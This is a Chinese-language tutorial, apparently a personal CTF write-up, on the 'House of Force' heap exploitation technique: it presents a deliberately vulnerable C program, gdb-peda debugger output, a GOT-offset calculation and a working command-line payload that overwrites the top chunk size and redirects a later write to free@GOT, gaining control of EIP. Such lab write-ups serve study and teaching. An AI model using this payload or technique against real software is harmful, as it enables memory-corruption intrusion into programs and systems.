the House of Force技術簡單分析

堆利用類型：top chunk相關

利用思想：通過修改top chunk大小，使得配置設定任意大小都是從top chunk裡邊切出來，這樣配置設定一個大小占滿想要寫的位置和目前配置設定位置top chunk的差，下一個配置設定就可以配置設定出想要寫的位置

利用前提：

1. 需要有辦法能夠更改到top chunk大小
2. 需要能夠知道目前位置和要寫位置的內插補點
3. 需要能夠自由控制将要配置設定的chunk的大小，也就是malloc的參數值
4. 配置設定後，要能夠修改配置設定出來的内容，這個技巧隻負責配置設定出想要的位置

執行個體代碼如下：

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
 char *buf1, *buf2, *buf3;
 if (argc != 4) return;
 buf1 = malloc(256);
 strcpy(buf1, argv[1]);
 buf2 = malloc(strtoul(argv[2], NULL, 16));
 buf3 = malloc(256);
 strcpy(buf3, argv[3]);
 free(buf3);
 free(buf2);
 free(buf1);
 return 0;
}

編譯方式：

gcc -fno-stack-protector -o House_of_Force House_of_Force.c

使用gdb調試，在buf1 = malloc(256);處下斷點，可以看到：

gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x080484ad <+0>:	push   ebp
   0x080484ae <+1>:	mov    ebp,esp
   0x080484b0 <+3>:	and    esp,0xfffffff0
   0x080484b3 <+6>:	sub    esp,0x20
   0x080484b6 <+9>:	cmp    DWORD PTR [ebp+0x8],0x4
   0x080484ba <+13>:	je     0x80484c2 <main+21>
   0x080484bc <+15>:	nop
   0x080484bd <+16>:	jmp    0x8048567 <main+186>
   0x080484c2 <+21>:	mov    DWORD PTR [esp],0x100
   0x080484c9 <+28>:	call   0x8048370 <[email protected]>
   0x080484ce <+33>:	mov    DWORD PTR [esp+0x1c],eax
   0x080484d2 <+37>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484d5 <+40>:	add    eax,0x4
   0x080484d8 <+43>:	mov    eax,DWORD PTR [eax]
   0x080484da <+45>:	mov    DWORD PTR [esp+0x4],eax
   0x080484de <+49>:	mov    eax,DWORD PTR [esp+0x1c]
   0x080484e2 <+53>:	mov    DWORD PTR [esp],eax
   0x080484e5 <+56>:	call   0x8048360 <[email protected]>
   0x080484ea <+61>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484ed <+64>:	add    eax,0x8
   0x080484f0 <+67>:	mov    eax,DWORD PTR [eax]
   0x080484f2 <+69>:	mov    DWORD PTR [esp+0x8],0x10
   0x080484fa <+77>:	mov    DWORD PTR [esp+0x4],0x0
   0x08048502 <+85>:	mov    DWORD PTR [esp],eax
   0x08048505 <+88>:	call   0x8048390 <[email protected]>
   0x0804850a <+93>:	mov    DWORD PTR [esp],eax
   0x0804850d <+96>:	call   0x8048370 <[email protected]>
   0x08048512 <+101>:	mov    DWORD PTR [esp+0x18],eax
   0x08048516 <+105>:	mov    DWORD PTR [esp],0x100
   0x0804851d <+112>:	call   0x8048370 <[email protected]>
   0x08048522 <+117>:	mov    DWORD PTR [esp+0x14],eax
   0x08048526 <+121>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048529 <+124>:	add    eax,0xc
   0x0804852c <+127>:	mov    eax,DWORD PTR [eax]
   0x0804852e <+129>:	mov    DWORD PTR [esp+0x4],eax
   0x08048532 <+133>:	mov    eax,DWORD PTR [esp+0x14]
   0x08048536 <+137>:	mov    DWORD PTR [esp],eax
   0x08048539 <+140>:	call   0x8048360 <[email protected]>
   0x0804853e <+145>:	mov    eax,DWORD PTR [esp+0x14]
   0x08048542 <+149>:	mov    DWORD PTR [esp],eax
   0x08048545 <+152>:	call   0x8048350 <[email protected]>
   0x0804854a <+157>:	mov    eax,DWORD PTR [esp+0x18]
   0x0804854e <+161>:	mov    DWORD PTR [esp],eax
   0x08048551 <+164>:	call   0x8048350 <[email protected]>
   0x08048556 <+169>:	mov    eax,DWORD PTR [esp+0x1c]
   0x0804855a <+173>:	mov    DWORD PTR [esp],eax
   0x0804855d <+176>:	call   0x8048350 <[email protected]>
   0x08048562 <+181>:	mov    eax,0x0
   0x08048567 <+186>:	leave  
   0x08048568 <+187>:	ret    
End of assembler dump.
gdb-peda$ b *0x080484c9
Breakpoint 1 at 0x80484c9
gdb-peda$ r $(python -c "print '\x41'*260+'\xFF\xFF\xFF\xFF'") ffffeef4 12345678Starting program: /home/yang/ctf/House_of_force $(python -c "print '\x41'*260+'\xFF\xFF\xFF\xFF'") ffffeef4 12345678
[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0xb7fc0000 --> 0x1a9da8 
ECX: 0x3c607cae 
EDX: 0xbffff034 --> 0xb7fc0000 --> 0x1a9da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff008 --> 0x0 
ESP: 0xbfffefe0 --> 0x100 
EIP: 0x80484c9 (<main+28>:	call   0x8048370 <[email protected]>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484bc <main+15>:	nop
   0x80484bd <main+16>:	jmp    0x8048567 <main+186>
   0x80484c2 <main+21>:	mov    DWORD PTR [esp],0x100
=> 0x80484c9 <main+28>:	call   0x8048370 <[email protected]>
   0x80484ce <main+33>:	mov    DWORD PTR [esp+0x1c],eax
   0x80484d2 <main+37>:	mov    eax,DWORD PTR [ebp+0xc]
   0x80484d5 <main+40>:	add    eax,0x4
   0x80484d8 <main+43>:	mov    eax,DWORD PTR [eax]
Guessed arguments:
arg[0]: 0x100 
[------------------------------------stack-------------------------------------]
0000| 0xbfffefe0 --> 0x100 
0004| 0xbfffefe4 --> 0xbffff0a4 --> 0xbffff277 ("/home/yang/ctf/House_of_force")
0008| 0xbfffefe8 --> 0xbffff0b8 --> 0xbffff3b0 ("XDG_VTNR=7")
0012| 0xbfffefec --> 0xb7e4942d (<__cxa_atexit+29>:	test   eax,eax)
0016| 0xbfffeff0 --> 0xb7fc03c4 --> 0xb7fc11e0 --> 0x0 
0020| 0xbfffeff4 --> 0xb7fff000 --> 0x20f34 
0024| 0xbfffeff8 --> 0x804857b (<__libc_csu_init+11>:	add    ebx,0x1a85)
0028| 0xbfffeffc --> 0xb7fc0000 --> 0x1a9da8 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080484c9 in main ()
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x804b008 --> 0x0 
EBX: 0xb7fc0000 --> 0x1a9da8 
ECX: 0xb7fc0420 --> 0x0 
EDX: 0x804b008 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff008 --> 0x0 
ESP: 0xbfffefe0 --> 0x100 
EIP: 0x80484ce (<main+33>:	mov    DWORD PTR [esp+0x1c],eax)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484bd <main+16>:	jmp    0x8048567 <main+186>
   0x80484c2 <main+21>:	mov    DWORD PTR [esp],0x100
   0x80484c9 <main+28>:	call   0x8048370 <[email protected]>
=> 0x80484ce <main+33>:	mov    DWORD PTR [esp+0x1c],eax
   0x80484d2 <main+37>:	mov    eax,DWORD PTR [ebp+0xc]
   0x80484d5 <main+40>:	add    eax,0x4
   0x80484d8 <main+43>:	mov    eax,DWORD PTR [eax]
   0x80484da <main+45>:	mov    DWORD PTR [esp+0x4],eax
[------------------------------------stack-------------------------------------]
0000| 0xbfffefe0 --> 0x100 
0004| 0xbfffefe4 --> 0xbffff0a4 --> 0xbffff277 ("/home/yang/ctf/House_of_force")
0008| 0xbfffefe8 --> 0xbffff0b8 --> 0xbffff3b0 ("XDG_VTNR=7")
0012| 0xbfffefec --> 0xb7e4942d (<__cxa_atexit+29>:	test   eax,eax)
0016| 0xbfffeff0 --> 0xb7fc03c4 --> 0xb7fc11e0 --> 0x0 
0020| 0xbfffeff4 --> 0xb7fff000 --> 0x20f34 
0024| 0xbfffeff8 --> 0x804857b (<__libc_csu_init+11>:	add    ebx,0x1a85)
0028| 0xbfffeffc --> 0xb7fc0000 --> 0x1a9da8 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080484ce in main ()
gdb-peda$ x/20x $eax-0x10
0x804aff8:	0x00000000	0x00000000	0x00000000	0x00000109
0x804b008:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b018:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b028:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b038:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$

建立的部分堆位址為0x804b008，堆首資料為0x109. 根據堆記憶體布局

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堆首自身size第一位表示是否被配置設定，很明顯這裡已經配置設定了，是以是1，是以堆首 0x109=256+8+1 堆後邊的資料（記憶體高位址）儲存的就是top chunk，是以如果往buf1中複制的資料過多時，就會覆寫掉top thunk的堆首資訊，top thunk 的堆首有8個位元組組成，前四個位元組表示的是buf1的大小，後四個位元組表示的是top thunk的大小。如果可以覆寫後四個位元組，就可以控制top thunk的大小了後續就可以從top thunk中配置設定任意大小資料了

是以此處我們用LARGETOPCHUNK=$(perl -e 'print "A"x260 . "\xFF\xFF\xFF\xFF"')将top thunk覆寫為無限大。

下邊就是wilderness了。

看一下buf2，它的大小我們可以控制，假設buf2和[email protected]相距x，那麼隻要将buf2大小設定為x-8，（為什麼是減8，而不是減4）那麼就可以在下次配置設定時（buf3），覆寫[email protected]的位址了，以後如果調用函數free，那麼就可以調用我們的shellcode了。

buf2的傳回位址是0x804b110，我們找一下 [email protected]的位址：

gdb-peda$ pdisass 0x8048350 
Dump of assembler code from 0x8048350 to 0x8048370::	Dump of assembler code from 0x8048350 to 0x8048370:
   0x08048350 <[email protected]+0>:	jmp    DWORD PTR ds:0x804a00c
   0x08048356 <[email protected]+6>:	push   0x0
   0x0804835b <[email protected]+11>:	jmp    0x8048340
   0x08048360 <[email protected]+0>:	jmp    DWORD PTR ds:0x804a010
   0x08048366 <[email protected]+6>:	push   0x8
   0x0804836b <[email protected]+11>:	jmp    0x8048340
End of assembler dump.

可以看到[email protected]的位址為0x804a00c 計算下偏移（補碼形式）： 0x804a00c-0x804b110-8=0xffffeef4 (為什麼減去8，而不是4，記憶體對齊，八位元組倍數) 這樣下次malloc buf3并且strcpy的時候就将我們的資料寫入了free函數位址，導緻調用free的時候，執行了我們的shellcode。

但是可能是位元組對齊的原因，最後我的oayload是這樣寫的： $(python -c "print '\x41'*260+'\xFF\xFF\xFF\xFF'") ffffeef4 12345678 最後控制$eip為0x38373635.可以看到還是向後移動了四個位元組，我也不知道為什麼。

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note：發現一個奇怪的現象，當malloc（10）的時候堆首是0x11 當malloc（15）的時候堆首是0x19,不是很奇怪嗎？也就是說當申請10位元組時，堆首是0x4大小，當申請大于15位元組時，堆首是0x8大小，其中前四個位元組是0x00，後四個位元組是堆大小加上是否配置設定的标志位。其實是這樣的，當chunk的前一個chunk處于allocated狀态時，那麼目前chunk的pre+size是沒有用的，是以就被用來存儲前一個chunk的資料，同理，下一個chunk的pre_size就被用來存儲目前chunk的資料。原來堆在32位下是8位元組對齊的，其他0x00填充。

參考文章： 1. 如何了解堆和堆溢出漏洞的利用？（ http://www.freebuf.com/vuls/98404.html#） 2. [翻譯]堆溢出技術：Malloc Maleficarum之The House of Force（ http://bbs.pediy.com/thread-216179.htm） 3. pwn工具箱之house of force（http://blog.csdn.net/qq_29343201/article/details/74194447）

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